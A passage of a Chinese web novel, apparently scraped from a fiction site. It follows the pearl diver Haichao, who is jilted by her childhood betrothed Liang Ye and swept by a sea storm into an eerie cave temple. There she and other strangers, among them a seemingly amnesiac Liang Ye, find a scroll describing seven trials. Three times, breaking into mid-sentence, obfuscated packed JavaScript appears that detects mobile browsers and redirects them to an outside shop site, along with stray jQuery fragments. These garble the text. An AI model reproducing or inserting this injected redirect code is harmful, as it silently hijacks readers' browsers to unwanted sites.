《在妖鬼世界偶遇前夫》 1. 海潮 “所谓榜下捉婿,只是一种说法,自是两厢情愿,岂有硬捉的道理。” “侍中千金有咏絮之才、倾城之貌,与梁子明是天造地设的一对。” “曲江池畔探花宴上,两人以诗相和,一见倾心,何来逼迫之说?” “老夫知道你们曾定下亲事,此事是他对不住你,老夫身为师长,替他向你赔个不是。但子明与你……” 老刺史没把话说下去,只是捋着花白的胡须,皱着眉,用布满血丝的眼睛打量着海潮。 海潮低下头,看见自己的脚。 脚趾甲里嵌着污泥,脚背和脚跟到处是草鞋磨出的伤口,有的结了痂,有的还在流血,血里混着尘灰,脏得看不清皮肉本来的颜色。 这是一双采珠女的脚。 她一下子明白了杜刺史没说出口的话。 梁夜和她不一样,他们不是一路人。 她连大字也不认识一箩筐,更不会和他和诗。 可她还是不信,因为那是梁夜,她在襁褓中就认识的人,与她相依为命七年的人,她以为一辈子不会分开的人。 收到梁夜托人带来的退婚书后,她不甘心也不相信,一连走了三天的路,走到州城,向杜刺史问个分明。 杜刺史是梁夜的恩师,也是他的伯乐,非得他亲口说这事是真的,她才肯信。 所以她走了三天的路,磨穿了三双草鞋,又在州府外面站了一整天,才拦下了杜刺史的车马。 现在,连梁夜最敬重的恩师也这么说,她该死心了。 然而她还是不信。 海潮抬起头,眼睛里像是进了沙子,又干又涩:“梁夜不会的。” 杜刺史叹了口气:“你们多久未见了?子明进京有三年了吧?人是会变的……” 他似有些不忍,停顿许久,方才道:“子明非你良人,小娘子……且看开些罢。若有什么我帮得上的……” 海潮木然地摇了摇头。 杜刺史放下车帷,向舆人道:“继续行路。” 海潮呆呆地站在路中间,车轮辘辘地滚动起来,她方才回过神来,拔腿追上去:“杜使君——” 车马停了下来,老人重又掀开车帷,满脸倦容:“还有何事?” 海潮从衣襟里摸出一个布包,双手捧着:“这是和退婚书一起送来的银子,称过了,总共十四两七钱,这是他的钱,杜刺史见到他时,还给他吧。” 杜刺史不接:“这是子明补偿你的三年衣粮,也算他一点心意,你收着吧。” 海潮执拗地伸着手:“他退回来的几两碎珠子,我收下了。这些银子不是我的,我不要。使君见着他时,还给他吧。” 杜刺史似乎是不想与她纠缠下去,抬了抬手,便有仆人接了过去。 车轮又滚动起来,扬起的尘土扑了海潮满脸。 海潮这时方才发现追车时跑掉了一只鞋,她走过去捡了起来,发现带子断了,这是她最后一双鞋。 她拍了拍上面的灰和干涸的泥土,把鞋揣进包袱里,一脚深一脚浅地往回走。 她不记得自己是怎么回到家的。 她一口水也没喝,嗓子干得冒烟也不管,在门口呆坐到日落。 漫天云霞变成了绛紫深蓝,海面上吹来的风变冷了。 海潮站起身走进屋里。 她往大锅里舀了水,生了一把火,待水开,取了一把甘储(1)粒蒸上,然后在炉子前坐下,从衣襟里取出梁夜给她的退婚书。 纸是好纸,洁白柔韧,墨是好墨,漆黑油亮,在火光里泛着铜彩。 这样的纸和墨,便是城里富户家的郎君也用不上。 梁夜是真的发达了吧。 她把信笺展开,小心地捋平。 一页纸,几行字,每句不是四个字就是六个字,是梁夜以前说过的那种“骗死李六”的文章。 以前他从来不这么写信的,她认识几个字他心里有数,总是用她认得的字来写信,估摸她不认得的还在旁边配个小画。 而这封信里,有一半的字她都没见过。尽管如此,最后十六个字她是认得的—— “千万永辞,各生欢喜。三年衣粮,便献柔仪。” 她在心里默默翻来覆去地读了几遍,然后把纸揉成一团,扔进了炉膛里。 迈出第一步,后面就容易了。 她一不做二不休,从床底下拖出一只四尺来长的大藤箱,拖到炉灶前,掀开盖子。 她一个粗枝大叶的人,屋子里乱得没地方插脚,唯独这藤箱井井有条——所有和梁夜有关的东西,她都仔仔细细、整整齐齐地收在里面。 现在她一样样往外掏,就像剖开一只她小心养大的动物的肚子,一样样掏出它的内脏。 先是这半年里新做的里衣和足衣,都是细麻布和细蕉布裁的,她自己舍不得用的好料子。 火舌很快把这些都卷了去。 她有点心疼,费了不少料子和功夫,本来改改小能穿的,可她觉着扎眼,宁可不要了。 和梁夜有关的一切,她都不要了。 他留在这里的旧衣,有大有小,每件都缝补过,洗得稀疏发软,都快烂了。 他在破麻布上练的大字、写在粗藤纸上的诗文。 小时候他给她扎的纸鸢,做的风车,草茎编的蚂蚱,竹篾做的灯笼。 他们一起捡的贝壳和海螺,奇形怪状的大鱼头骨。 还有许多长长短短的蜡烛,是她在富户家做工时捡人家用剩不要的,等有空时融起来,添上烛芯,就和新的一样。 梁夜总在夜里读书,灯油烟大熏眼睛,买不起蜡烛,她便想了这么个法子。 如今他富贵了,再也不愁用不起蜡烛了。 海潮没把蜡烛投进炉膛,一根根点着了,各处摆上,把整个屋子映得亮堂堂的。横竖都要烧掉,她也结结实实享受一回。 最后轮到书信了。 托书不易,他进京三年,总共也就捎来十来封,每封她都读过无数遍,反复展开、抚平又叠起,纸都磨毛了。 她一封接一封地投进炉膛里。 只剩下最后一封,她迟疑了一下,还是将信展开。 麻纸中夹了一枝干枯的梅花,在枝头时大约是雪白的,但到她手上时已经变作枯黄。 这是梁夜刚到长安时给她写的信,寥寥几行,她都能倒着背出来,可她还是一个字一个字地认真看了一遍。 「正月十五日,夜白:岁月易得,又是一年上元。入京逾旬,诸事纷纭,迄今少定。寓于务本坊景云观,一切安好,惟中夜不闻潮声,难以成眠。 昨夜大风雪,拂晓乃止。晨起见院中白梅盛放,颇可观,想君未尝见此花,折一枝附于书。 今夕佳节,金吾不禁,同窗相约观灯于朱雀门大街,吾畏寒,亦无心游赏,婉言谢之。待君来时,庶可同游。 随书附绵若干,绨布一端,与君絮来年冬衣。春寒料峭,万勿入海。纸短,书不尽怀,伏惟珍重。」 纸尾还画了一枝梅花。真花枯萎了,画出的梅花仍然像刚开出来的一样。 自从收到这封信,海潮就在心里种下了一个模糊的梦。 有一天,她会去长安,会和梁夜一起去看上元夜的灯火。 海潮把信投进火焰里,很快,纸上的梅花也被熏得枯黄,随即化成了黑灰。 这时锅里的甘储蒸熟了,散发淡淡清香,她这才想起自己肚里空空。 她吹温了,扒了两口,却再也吃不下去。 这时炉膛里的东西烧完了。她把剩下的蜡烛也投了进去。 蜡烛很快融成蜡油,烧尽了,火焰低下去,熄灭了。 和她梦到过无数次的,长安上元夜的灯火一样,渐渐地熄灭了。 屋子里一片漆黑。 黑暗像墙一样压过来,海潮透不过气来,心口闷闷的,隐隐作痛,好像里面有什么东西在撕扯,好像要从里面把她的心撕裂了。 她一刻也呆不下去,拖着发麻的双腿,把剩下的甘储拌了点鱼酢,用蕉叶包了,推开门走出屋子,向海边走去。 月亮升起来了,凉浸浸的光洒满海面。 波浪微微起伏,像是睡着的海在轻轻打鼾。 这时候海边没什么人,各家的船都靠在岸上。 潮湿冰凉的海风灌进她身体里,熟悉的咸涩充斥她的肺腑。 她好像又活了过来。 不就是上元灯会么?没有梁夜,她也可以去。 她可以自己去长安,看景云观的梅花,看朱雀门大街的灯火。 从合浦到长安,盘缠大约不少,但她可以慢慢攒。 她是采珠和驾船的好手,她不怕苦,又有一把子力气,慢慢攒,总有攒够的一日。 海潮这样想着,带着几分负气的狠劲,解开拴船的麻绳。 就在这时,身后响起个苍老的声音:“这是海潮?” 海潮听出是沙婆婆的声音,停下手里的活计,转过身叫了声“阿婆”,一边从怀里掏出蕉叶包给她。 沙婆婆接过蕉叶包:“大风要来了。” 海潮抬头看看明净无云的夜空,笑了笑:“哪有风。” 沙婆婆打开蕉叶包吃了起来,一边吃,一边自言自语似地说:“小心啊,大风要来了……” 这老婆婆是村里的孤老,听说年轻时是越地的巫人,会看天象,还会算命,偏偏丈夫和两子一女都死在风浪里。 小女儿死后她就有些疯疯癫癫的,经常逮着出海的人说要刮大风,十次里有九次不准,剩下一次也是瞎猫碰上死耗子,但是村里人可怜她,东家喂一顿,西家喂一顿,也就将她养活了几十年。 谁也不知道沙婆婆究竟几岁了。 没人把个疯婆婆的话放在心上,可今夜不知道为什么,当老人那双层层眼皮遮盖的浑浊眼睛看向她时,里面有某种东西,让海潮的心突突地跳了两下。 “不怕,起风我就回来。”她说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627079|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙婆婆含糊地“嗯”了一声:“你怎么一个人?小夜不陪你去?” “阿婆又忘啦?他三年前就去京城了。” “还没回来呀?” “他不会回来了。” “怎么不回来了?” 海潮鼻子一酸,忍住了,轻快地说:“他考上进士当上官了,要娶贵人家的小娘子,不会再回来啦。” “啊?”沙婆婆张大嘴,“怎么娶别人?他不娶你啦?你们多好呀,一个人似的,刀劈不开水泼不进的……” 海潮鼻根发胀,忙岔开话:“阿婆快吃甘储吧,该硬了。” 沙婆婆点点头:“哦。” 埋头吃了一口,又抬起头:“你耶娘在河里埋了女酒,回头小夜回来了,喊你三叔他们一起挖出来……” “说了他不回来了!”海潮有些急了,“他和别人好了,这辈子都不回来了!” 沙婆婆眼神空洞又茫然,像是听不懂她的话。 海潮后悔高声,跟一个疯疯癫癫的老婆婆说这些做什么呢? 她抬手帮沙婆婆理了理雪白的头发,小声道:“吓着阿婆了吧?外头凉,早些回家,我去打渔啦。” 沙婆婆还在喃喃自语:“疍家女儿出嫁,女酒少不得,你阿娘酒酿得好,多少年没喝到了……” 海潮听不下去,飞快地解开绳索,把船推下水,跳进船里,用力地撑了几篙,小船向广阔的海面驶去。 她依稀听见沙婆婆的声音飘荡在水面上,听不怎么真切:“可惜啊,可惜啊……” 一口气撑出近一里,回头望时沙婆婆已经看不见了,镶满白骨壤(2)的海岸成了一道崎岖的黑线。 海潮时而撑一篙,时而让海流带着船往前飘。 那是离得最近的珠池,在海下十丈,嶙峋的礁石堆叠,像一座海下的城池。 听村里的老人们讲,“城”里长着许多成百上千年的老蚌,但是碰不得,一靠近就会引来护珠的妖怪。只有从城里溢出来的蚌才是给人采的。 传说是真是假海潮不知,但自她出生以来,试过入城采珠的只有两个人,便是她的父母,也的确都死了。 到断望地(3)时,天边已微微发白。 海潮停了船,躺下闭目休息了会儿,然后起身扎好袖子和裤管,挽上竹篮,拿起采珠刀下了水。 春日清晨的海水依然很冷,入水的刹那她不由自主哆嗦了一下。 但她很快便适应了,像一尾灵巧的鱼,往水下潜去。 珠城诡谲的轮廓出现在面前,在水中晃动着,像是被人遗弃的鬼城。 村里人都说海潮的身手和水性强过她耶娘当年,但她一次也没有靠近过断望地。 今日她也没准备靠近。 可入水之后,她向“珠城”里望去,透过岩崖的缝隙,看到一团光。 像月亮,又多了层朦胧的晕光,仿佛少女含泪的眼眸。 海潮像是受了蛊惑,挪不开双眼,不知不觉地向着那团光晕游去。 就在即将越过“城门”的一瞬间,她突然醒过神,发现已游出太远,再往深处游,肺里的气就不够把她带回水面了。 她转过身,双脚在湿滑的岩石上一抵,借力向水面游去。 她屏得肺里生疼,好不容易看见了船底黑色的影子。 就在她破开水面,扒住船舷,竭力爬进小船里时,周遭忽然暗下来,乌云遮蔽了太阳。 起风了。 海潮心道不好。 靠海为生的人都知道这种“妖风”,不是风高浪急的季节无端刮起来,是海要“收人”了。 她顾不上歇息,忙拿起橹使劲划动,可风浪越来越大,一个浪头打来,小船像一片风中的落叶,整个掀了过来。 海潮被抛进了浪里,好在她闪避及时,没叫倒扣的船砸中脑袋。 可是海浪刹那间就把船推远了。 她在山一样高的浪涛里沉浮,渐渐体力不支,脑袋也混沌起来。 眼前渐渐模糊,冰冷咸涩的海水变得暖和起来。 海潮忽然一个激灵清醒过来,发现自己已经沉入水里,海水灌进了她的口鼻。 她挣扎着破出海面,好在浪头又把船掀了个个儿,推回了她附近。 她连忙扒住船舷,用尽浑身的力气爬进船里,仰天躺在船板上,大口大口喘着气。 她知道该想办法离开这片海,可浑身酸疼,筋疲力竭,连手指都没法动一动。 耳边的风浪声渐渐小了,船也不再剧烈颠簸摇晃,她迷迷糊糊地看见海上似乎起雾了。 海潮从未见过这么浓的雾,白茫茫的一片,海水、天空、海岸……整个世界好像都融化在了雾里。 湿漉漉的雾气钻进她口鼻,钻入她肺腑。 她自己仿佛也要化在雾气里了,四肢的酸痛渐渐消融,整个人懒洋洋的,上下眼皮直打架。 在海上睡着多危险,海潮自然知道,可她抵挡不住这股深入骨髓的困倦。 2. 梁夜 海潮是被雷声惊醒的。 她猛然睁开眼,发现自己竟然身处一片山林中。 似乎是黄昏,天边闷雷滚滚,时不时惊起暮鸦一片。 风在林间呼号,像是无数鬼怪齐声嚎叫,幽深的林麓里好像有什么东西蛰伏着,涌动着,只等着夜幕彻底降临,就要冲出来噬人。 在她面前是一道石阶,石阶很长,通往林木掩映的半山腰,依稀能看到枝叶间有灯火的光芒。 石阶开始的地方竖着两根木雕华表柱,看着很有些年头了,彩漆斑驳,柱础也有些朽烂了。 柱顶上各雕着一只木鸟,不是常见的凤凰锦鸡,小小的两只,彩漆已剥脱,鸟喙中却各衔着一颗流光溢彩的宝珠,远看仿佛点着两盏灯。 是在做梦么? 海潮狠狠掐了一下胳膊,疼得“嘶”了一声。 不像是做梦。 难道她是死了?难道这是鬼门关? 她摸了摸腰间,万幸采珠刀还在。 正想着,石阶顶上传来铜钟浑厚的声音,像是寺钟,却又和海潮听过的那些不太一样,钟声里蕴含着一种更古老更隐秘的力量。 直觉告诉她,黑夜笼罩群山后,只有那里是安全的。 她往上走去。豆大的雨点砸下来,渐渐连成雨幕。 石阶少说也有百来级,但两旁树木的枝叶像穹顶一样遮蔽了大部分,海潮拾级而上 ,倒是没淋到多少雨。 顶上是一道山门,穿过山门又有数十级台阶,一座凿开山壁而建的窟庙出现在眼前。 门前立着块石碑,上面刻着两个字,说是字,又有些像图画,弯弯曲曲的,说不出的古怪,海潮从未见过这样的文字。 正想着,身后响起个男人若有所思的声音:“这是鸟篆啊……” 海潮转头一看,发现是个二十来岁的男子,戴着顶胡帽,身着五彩斑斓的锦衣,活像只锦鸡。 他生得唇红齿白,五官周正,只是不知为何看着不太聪明,用村里老人的话来说,有股子“傻漂亮”。 男子冲她一笑,亮出一口整齐的白牙,越发显得憨气:“抱歉,在下这自言自语的毛病又犯了……在下程翰麟,翰墨的翰,麒麟的麟,洛阳人。小娘子可是此间人?” 海潮摇摇头:“我也是外面来的。什么是鸟篆?” 程翰麟道:“鸟篆是一种春秋战国时南方诸国盛行一时的异文,一般只在青铜铭文上能见到……” “这两个是什么字?”海潮问,“你认识么?” “流传下来的鸟篆寥寥无几,在下只是略知一二……这两个字似乎是……”程翰麟仔细辨认着,“西,洲。” “是什么意思?” 程翰麟摇摇头:“殊不可解。天下十五道三百五十八州,倒是有个西州,便是原先的高昌,在西域。 可此处的草木一看便是南方,可谓是风马牛不相及。况且这州字从水,是洲渚的洲,不是州郡的州。” 程翰麟脸上掠过一丝失望之色,不过他很快便豁达地笑笑:“雨越下越大了,去里头聊。” 两人进了门,发现这窟庙约有三间房大,高不见顶,石壁上绘着许多彩画,每隔数尺凿出一个窟窿,里面点着长明灯,总有几百盏,把个洞窟映得雪亮。 窟庙里已有三个人,围着个火堆坐着。 一个十八九岁的女子,生得清秀端庄,着锦缎衫子石榴裙,腰间系着白如羊脂的玉佩,一看便是大户人家未出阁的小娘子。 另外两个是男子,一个三十来岁,青衫黑帻,方面阔嘴,本是周正的长相,眉眼却生得不好,往下耷拉着,显得窝囊。 剩下一个中年僧人,穿一身又脏又旧看不出颜色的僧袍,生得身形魁梧,五官平平,只鼻梁骨不知怎的断成两截,像一条扭曲丑陋的肉虫子趴在脸上。 僧人跏趺而坐,手把念珠,双目紧闭,听到动静也只是将眼皮撑开一条缝,扫了两人一眼,立刻又阖上,只微微颔首,一副世外高人的作派。 那一眼让海潮有些不舒服,总觉得像是被丛林里的野兽盯上了似的。 青衫男子倒是十分友善:“两位也是误入此间的?外头下大雨了,很冷吧?快过来烤烤火。” 海潮在火堆旁坐下,环顾四周,只见正对洞口的主龛里安着一尊石像,非佛非道,却是个鸟首人身,背生双翼的怪物。 那怪物生着三只眼睛,像人一样穿着衣袍,却像雀鸟一样蹲伏着,双手双脚皆是鸟爪,多看几眼便觉心里发毛。 海潮忙收回目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627080|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,问那慈眉善目的青衣男子:“这是什么地方?我们怎么会到这里来的?” 青衣男子苦笑着摇了摇头:“在下亦是一头雾水。” 几人依次说起自己来到这里的经过。 年轻女子姓陆,是扬州人,好端端在卧房里歇息,一觉醒来就到了这里。 和尚则是个游方僧人,客居在京畿一座小兰若里,来之前正在打坐。 轮到程瀚麟,他胸无城府,竹筒倒豆子似地把家底全交代了。 他是洛阳富商之子,父祖以贩卖皮货起家,如今的主业是古董古书,在大江南北都有铺子,尤其是两京和蜀中。 父亲一心盼着他这唯一的嫡子读书考进士,他却无心功名,只喜欢搜罗历朝历代的传奇轶闻。 他是在前往安西搜集一批古书的时候,途经沙碛,忽然起雾,在驼车上昏睡过去。 青衣男子问海潮:“看小娘子装束,似乎是南边人?” 海潮点点头:“我是廉州海边的珠民,在海上遇见迷雾,睡了一觉就到了这里。” “有趣,有趣,”程翰麟两眼发光,“在下遍阅传奇异志,还从未见过如此咄咄怪事,他日将此间遭遇写成传奇付梓,定能一新耳目,洛阳纸贵……” 海潮:“……”听他的意思还挺高兴。 程瀚麟似乎也意识到自己失态,不好意思地搔搔后脑勺:“一时忘情,抱歉抱歉。” 青衣男子道:“我们都遇到了大雾,看来是那雾气有什么玄机。对了,在下还未自报家门,敝姓……” 话未说完,他的笑容忽然凝固在脸上,眼中流露出惊惧之色。 海潮转过头一看,便知他为什么一副见了鬼的神情了。 有人穿过雨幕走了进来。 只见那人一袭白衣,披散着长发,整个人都被雨水浸透,一边缓慢而蹒跚地走着,一边往下滴滴答答地往下淌水。 海潮无端觉得那身影有些熟悉,不等她想明白,一个荒谬的念头已划过心头。 她心脏狂跳起来,浑身的血液直往头顶冲。 来人缓缓走近,洞中的火光映出他惨白的面容,映出他漆黑幽深的双眼。 那荒谬的念头忽然在她眼前凝实了。 是梁夜。 3. 重逢 海潮从未见过梁夜这么狼狈,他浑身上下只着了件中衣,湿透了,衣摆上尽是泥水,还沾着斑斑点点的血迹,走路的样子很怪,似乎伤着了腿脚。 三年未见,他长高了不少,比原先更瘦了,少年人的青涩稚嫩褪去,现出棱角来,越发显得骨秀神清。 即便如此狼狈,身上又是血污又是泥,却莫名不显脏。他从小就是这样,哪怕和村里别的小孩一起在泥里打滚,看起来总是比别人干净三分。 即便走起路来一瘸一拐的,他的身形也还是那样挺拔,好像比别人多长了块脊梁骨似的。 衣裳裁短了,肩也窄了——海潮脑海中最先闪过的竟是这样的念头。 随即她想起那些衣裳已经烧了,化成了灰,而眼前的人和她已没有瓜葛了。 她的血一下子冷了下来。 她注意到他的衣带上缀着个鎏金银香囊,精雕细镂,工巧至极,海潮在县令家做工时,曾见县令夫人佩过一只类似的,但远不如这只精巧。 他这样珍重地系在中衣腰带上,多半是那贵人小娘子送的信物吧。 梁夜的目光落在她身上,涣散的眼眸倏然现出神采:“海潮。” 语气是惯常的熟稔,嗓音却不似三年前清亮,低沉了不少,还有些嘶哑。 他眼中掠过一丝诧异,轻咳了两声:“这是什么地方?我们怎么会在这里?” 海潮想不通在那封退婚书之后,他怎么还能没事人似地和她说话。 她转过脸去。 青衣男子已回过神来,看看梁夜,又看看海潮:“看来两位认识?” 海潮硬梆梆地道:“我不认识长安来的贵人。” 梁夜眼中尽是茫然:“我何时去过长安?” 海潮冷笑:“你装什么?” 梁夜不解地看了她一会儿,眼中的疑惑像浓雾一样久久不散,他似乎终于意识到了什么,低下头看自己的左手。 海潮也顺着他的视线看去,那只手比分别时大了些,筋骨分明,白皙手背微微泛青,像是玉石琢成的。 这三年想必是不用做什么体力活,皮都养细了,海潮心想。 梁夜蹙眉端详了一番,垂下手:“如今是何年何月?” 海潮狐疑地看着他,不知他葫芦里卖的什么药。 青衣男子道:“景和十一年三月,小郎君以为呢?” 梁夜轻轻颔首,道了声“多谢”,却没回答他的问题。 青衣男子又问:“小郎君脸色不太好,可是哪里不适?” 梁夜抬手抚了抚后枕骨,然后看了看掌心。 海潮顺着他目光望去,只见他手上赫然一片鲜红。 她的心头一跳:“你……” 冷不丁对上梁夜的目光,她立即转过头去。 青衣男子关切道:“小郎君怎的受伤了?” 梁夜垂下手:“无妨。方才在林子里不慎踩空,滚落山坡。” 青衣男子道:“难怪小郎君不记得今夕何年,想是磕到了头,一时记不起事也是有的。” 海潮也听说过这种事,村里王二家的三郎,和伙伴嬉闹时叫船橹砸了后脑勺,连自己是谁都忘了,好几个月才记起来。 她狐疑地打量着梁夜,疑心他是装的。 但随即她就打消了这个念头,她阿娘说过,三岁看老。 梁夜骨子里是个很傲的人,海潮觉着,他既然能退婚,应是不屑于装模作样的。 青衣男子又道:“看我们,光顾着说话,小郎君衣裳都湿透了,快来火堆边暖和暖和。” 梁夜走到海潮身边,正要坐下,海潮“腾”地站起身,换了个地方。 梁夜深深地看了她一眼,一言不发地在原地坐了下来。 坐在他左侧的程翰麟从袖子里取出条雪白的绫绢帕子递过来:“兄台擦擦。” 梁夜道了谢,细细将手上的血水擦净。 程瀚麟又脱下自己外袍,一脸同情地看着他:“兄台是睡梦中突然来到此处的么?连外衫都没穿一件。若兄台不嫌弃,就穿在下的衣裳吧。” 梁夜道:“无妨,不冷。” “兄台脸都冻得青白了,还是披上吧,”程瀚麟似乎对他的冷漠疏离全不介怀,“这地方好生古怪,我们还不知要在此地逗留多久,兄台又受了伤,染上风寒可不好办。” 梁夜这才道了谢,接过来,将衣裳披在肩上。 程翰麟咧嘴一笑,露出一口齐整的白牙:“不知兄台怎么称呼?” “敝姓梁,字子明。”梁夜道。 程翰麟瞪大眼,张大嘴,嘴里简直能塞下个鸡蛋。 “梁子明?哦!你就是那个进士科魁首梁子明?!廉州人……对上了!” 不等他回答,程翰麟便哀嚎起来:“梁子明啊梁子明,你害得我好苦! “你可知道,在下这三年抄了多少遍你的诗文?你写一篇,阿耶就逼我背一篇,你说你怎么就那么能写! “阿耶见天地数落我,人家梁子明诗赋双绝,策文都作得气势如虹,人家梁子明入国子监两年就考了进士魁首,你呢你呢?只有一张脸能看…… “没想到你连脸都生得这样好!你就不能给我这等庸人留条活路么?!” 海潮气不打一处来,亏她方才还觉得程翰麟人不错,没想到这么没出息。 梁夜脸上既没有得意之色,也没什么不自在,只是微微欠身:“谬赞。” 青衣男子也作揖道:“梁公子真是少年俊彦,失敬失敬。” 程翰麟奇道:“兄台未曾听过梁子明的名号么?” 青衣男子道:“惭愧,在下只是个小商贾,又远居穷乡僻壤,孤陋寡闻。” 程翰麟:“看兄台的模样像是读书人,官话又说得这样好,谈吐又不俗……原是在下想当然尔。” 青衣男子道:“说来惭愧,在下也曾不自量力考过明经科,奈何屡试不第,几年前回黔州老家去了,做点小买卖之余,替人代写书信,抄抄经卷……” 程翰麟:“原来如此。” “对了,闹了半天,在下还未自报家门,”青衣男子揖道,“敝姓江,单名一个慎字。” 江慎又把其他人的情况简单向梁夜介绍了一遍,末了环顾四周,苦笑道:“不知这是什么地方,我们都一筹莫展,不知梁公子有何高见?” 梁夜沉吟:“诸位中,是谁先到这里的?” 江慎道:“是法师。” 那沙门撑开眼皮。 梁夜看了他一眼:“当时此处空无一人?” 沙门一颔首。 梁夜看了他一眼:“法师可曾动过这里的东西?” 沙门拉下脸来,怒目圆睁:“檀越这话是何意?” “在下并无他意,”梁夜平静道,“法师只需回答有无即可。” 沙门哼了一声:“贫僧只比那女檀越早到片刻,能动什么!贫僧一个六根断尽的出家人,不过问凡尘中事,檀越大可不必将贫僧当犯人审。” 梁夜微微颔首,语气仍旧淡淡的:“那敢问法师,衣襟里藏的是何物?” 众人大惊,都向那沙门看去,果然见他衣襟微微鼓起。 沙门却并不慌张,冷笑道:“贫僧衣襟里藏着何物,与尔等何干,总之不是偷的不是抢的。黄口小儿,平白诬人!” 江慎打圆场:“法师稍安勿躁,梁公子许是误会了什么。” 梁夜抬手指了指主龛:“这神像上缺了一物,大小与法师衣襟中的东西仿佛。” 众人都去看那石像,却没看出什么异样。 程翰麟起身走到神龛前,搔了搔头:“石像上缺了东西么?我怎么看不出来?” 梁夜道:“这石像双翼高张,四肢着地,是擒拿的姿势。” 程翰麟:“在下只道那石像姿态诡异,原来如此。” 沙门冷笑:“说的好像亲眼见过似的,仅凭一个姿势,就诬我作贼,岂有此理!” 梁夜继续道:“此外,台座上积灰甚厚,唯独指爪之间三寸见方洁净无尘。” 程瀚麟拊掌:“果真!真是好眼力,不愧是梁子明!” 海潮不满地乜了他一眼,这程翰麟真是没见识,一惊一乍的,她和梁夜一起长大,对他这些本事却是见怪不怪了。 小时候一群孩子捉迷藏,不管躲到哪里,梁夜都能立即把所有人找到。 她从小丢三落四,每回丢东西,也都是梁夜替她找回来。 梁夜看向沙门:“法师不妨拿出来看看,若是误会一场,在下与你赔罪。” 江慎道:“法师不如让我等观瞻观瞻,也好消除误会。” 程翰麟也劝他:“没准那东西里藏着出去的线索,再者这里处处透着妖异,万一那东西是不祥之物,藏起来是害人害己。” 那沙门紧咬牙关,脖颈上青筋凸起。 海潮最烦这种不知轻重、要钱不要命的人,直截了当道:“你这贼秃,知道怎么出去么?小心有命偷没命花。” “你!”和尚暴跳起来,作势要打人,一时忘了怀里揣着东西。 一个红色的物件从衣襟里滑了出来,眼看着就要掉到地上。 海潮眼明手快地捞起来一看,却是块心脏形状的红玉,质地莹润,雕刻得栩栩如生,有种在手中跳动的错觉。 一看便是价值连城的宝物,难怪那沙门会起贪念。 海潮瞪了他一眼:“你看看,这是你的东西么?” 沙门一张脸憋成了酱紫色,忿忿道:“我不过是瞧着新鲜,谁稀罕这鬼东西!” 他既然认了,海潮便也没有逮着不放。 程翰麟接过红玉心脏,小心翼翼地放回原位。 果然,擒着那颗人心,石像的姿势便自然多了,但也更添几分妖异恐怖的气息。 海潮眼尖:“它的爪子好像在动!” 话音甫落,不止是爪子,石雕的双翼也缓缓扇动起来。 只听“喀拉拉”一阵机簧的声音响过,雕像下的石座缓缓向两旁打开,露出个一尺来宽的暗格,里面赫然是卷帛书和一把铜柄短刀,刀柄做成鸟兽人身形状,刀身上布满鸟篆纹。 众人都看向那沙门。 他恼羞成怒:“看我做甚!信不信由你们,我来时那东西就掉在地上了!” 程翰麟取出帛书,拿到火堆旁,小心翼翼地展开,众人都凑上去看。 “又是鸟篆书……”程翰麟口中念念有词。 “程公子可识得?”江慎问。 “在下只懂些皮毛,听闻西京国子监有位直讲,精研此道,只可惜远水解不了近渴,不能去求教……”程翰麟指着帛书上粗犷的图画,“好在有画配合着一起看,相互印证,倒是能猜个大概……” 他一边拧眉思索,一边缓缓道;“祯祥伊何,厥惟西洲。杳杳冥冥,有缘者至。妖不自作,人必邀之。七境七劫,祸福相继。翦彼妖妄,收彼罪罟。去伪还真,保我后生。禳灾致福,魂其归矣。” 海潮听得双耳嗡嗡作响:“什么意思?” 程翰麟:“大致是说,此处叫做西洲,是个福地,有缘人才能到达这里。得前往七个地方,经历七道劫难,除掉妖邪,收伏罪孽,找到真相,才能魂归故里,也就是回到我们自己的世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627081|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我们难道死了?”海潮问。 程翰麟皱眉思索片刻,颇有经验地道:“据在下看过的许多传奇推测,我等大约是假死离魂,若是能及时从此地出去,当能起死回生。 “只不过在那些传奇故事里,魂魄游的都是黄泉地府,我等这也算是独一份了。若是历劫失败,或许就真的死了。” 众人脸色都有些不好看,只有梁夜神色如常:“如何施行?” “要等辰时阳光从天顶洒到这石像上,祭台便会升起。”程翰麟指着帛书上的图画道。 海潮只能勉强分辨出几个歪瓜裂枣的小人,围着一个不太规整的圆形,乍一看还以为是围着池塘钓鱼。她不由对程瀚麟心生佩服。 “接着,依次用祭刀割破肌肤,把血滴入玉石心脏,”程翰麟接着道,“等石心开始跳动,魂灯亮起,便能开启通往第一境的火门,依次走进火门就行了。” 他继续卷动帛书,接下去的图海潮看懂了,那几个小人手持棍棒和斧刃,正与一条头生三角的怪蛇打斗。 